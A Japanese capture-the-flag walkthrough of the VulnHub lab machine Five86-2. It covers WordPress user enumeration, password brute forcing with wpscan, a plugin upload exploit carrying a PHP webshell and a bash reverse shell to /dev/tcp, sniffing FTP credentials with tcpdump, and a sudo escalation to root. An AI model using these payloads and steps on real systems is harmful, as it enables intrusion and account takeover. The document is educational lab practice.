靶機難易度:初級 +
ツールおよび脆弱性情報#
- netdiscover
- nmap
- gobuster
- tcpdump
0x01 情報収集#
靶機のスキャン#
netdiscover
の-r
パラメータで192.168.1.0/16
をスキャンするか、ルーター管理画面で有線接続のデバイスを確認して靶機のip
を取得します。
nmap
でホストおよびポート情報をスキャン:
nmap -sS -A -n -T4 -p- 192.168.1.3
開いているポートは少ないですが、wordpress
が見えます。
ページの読み込みが非常に遅く、完了するまでに時間がかかります。また、読み込まれたページは不完全です。
このページは完全なインターフェースに修正可能で、パケットキャプチャを行います:
正常な応答パケットのurl
はhttp://five86-2/
であることがわかり、hosts
ファイルを修正します:
Windows:C:\Windows\System32\drivers\etc\hosts
Linux:/etc/hosts
一行追加:靶機ip five86-2
これでページを正常に開けるようになります:
wpscan#
wordpress
だけが私たちの道を提供しているので、直接wpscan
を使用します。
使用方法およびデータベースの更新方法は、私の以前の記事《用 wpscan 对 wordpress 站点进行渗透》にあります。
ユーザーをスキャン:
wpscan --url 192.168.1.3 -e u
以下のユーザーがいます:
- admin
- barney
- gillian
- peter
- stephen
users.txt
に保存し、次にwpscan
でパスワードクラッキングを行います:
wpscan --url http://192.168.1.3 -U users.txt -P /usr/share/wordlists/rockyou.txt -t 100
(kaliに付属のrockyou.txt.gzファイルは事前に解凍する必要があります:gzip -d /usr/share/wordlists/rockyou.txt.gz)
最後に、2 つのユーザーのパスワードがクラッキングされました;
- barney:spooky1
- stephen: apollo1
0x02 RCE リバースシェル#
アカウントのパスワードを取得した後、ログインして作業を開始できます:
先ほどスキャンした際にプラグインが見つかりませんでしたが、ログインすると 3 つのプラグインがあります:
それぞれexploit-db
で検索したところ、RCE
の脆弱性を見つけました:
# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive
# Date: june 2019
# Exploit Author: xulchibalraa
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip
# Version: 4.2995 <= 4.2997
# Tested on: Wordpress 5.1.1, PHP 5.6
# CVE : -
## 1. index.html, index.phpの2つのファイルを含む.zipアーカイブを作成
echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php
## 2. プラグイン機能にアクセスできる任意のユーザーロールでwp-adminにログイン(デフォルトでは`Contributors`ロールでもアクセス可能)
## 3. 新しい投稿を作成 -> `Add block`を選択 -> E-Learning -> poc.zipをアップロード -> 挿入方法:Iframe -> 挿入(チュートリアル https://youtu.be/knst26fEGCw?t=44 と同様)
## 4. アップロード後に表示されるURLからウェブシェルにアクセス
http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami
youtube
に簡単なステップチュートリアルがあります。
それに従って、コードを適切に修正します:
echo "<html>hello</html>" > index.html
index.phpに以下の内容をvimで書き込みます
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.6/3333 0>&1'");
zip poc.zip index.html index.php
index.php
にリバースシェルのコマンドを書く方法は多くありますので、自分で検索してください。
新しい投稿を作成し、デフォルトのテンプレートではブロックを追加するように求められます。E-Learning
モジュールを選択:
アップロードをクリックし、私たちのpoc.zip
を選択:
upload complete
と表示されたら、最後までスクロールしてinsert
をクリックすると、アップロードされたパスが得られます:
この時点で、私のシェルは靶機に正常にアップロードされました。まず、ローカルでnc -lvp 3333
を開始します。
次に、私たちのシェルにアクセスします:
http://five86-2/wp-content/uploads/articulate_uploads/poc/index.php
ローカルでシェルを取得しました:
0x03 tcpdump パケットキャプチャ ftp アカウントとパスワード#
このシェルは使いにくいので、古い方法でpython
を使ってtty
を開始します:
python -c 'import pty; pty.spawn("/bin/bash")' # 一部の環境ではPython2がインストールされていないため、python3 -cに変更する必要があります
/home
ディレクトリに移動すると、以前にクラッキングしたアカウントが見つかりました:
そのうちの 1 つにログインします:stephen: apollo1
、cron ジョブとsudo -l
権限を確認します:
結果は得られず、id
でグループを確認するとpcap
グループが見つかりました。
ip add
でネットワークインターフェースを確認すると、奇妙なネットワークインターフェースが見つかりました:
pcap
はネットワークトラフィックに関連しているため、トラフィックツールtcpdump
を使用してパケットをキャプチャします:
timeout 120 tcpdump -w soap.pcap -i vethb26451b
timeout 120:tcpdumpのタイムアウト時間を120秒に設定
tcpdump -wはファイルに保存し、-iはリッスンするネットワークインターフェースを指定します
ルートディレクトリで実行する必要があり、2 分後に停止します:
その後、tcpdump
でファイルを開いて確認します:
tcpdump -r soap.pcap |more
パケット内でftp
アカウントのユーザー名とパスワードが見つかりました:paul:esomepasswford
、切り替えてみます。
0x04 sudo 権限昇格 root#
切り替えた後、習慣的にsudo -l
で実行可能なsudo
コマンドを確認します:
sudo
を使ってpeter
ユーザーとして/usr/sbin/service
を実行し、/bin/bash
に切り替えます。
この時点で、peter
ユーザーに切り替わりました:
sudo -u peter /usr/sbin/service ../../bin/bash
切り替えた後、peter
アカウントのsudo
権限を確認します:
root
ユーザーとして無パスワードで/usr/bin/passwd
を実行できるため、直接root
アカウントのパスワードを変更できます:
sudo -u root passwd root
/root
ディレクトリでflag
を取得:
この記事は終了です。
PS:
vulnhub 靶機の簡単な難易度のパターンはほぼ一通り行いました。新しい知識点の靶機は一つか二つだけですので、今回は行いません。
次は面白い靶機を選択する予定です。このシリーズはもう数篇しかないでしょう(おそらく)
参考記事: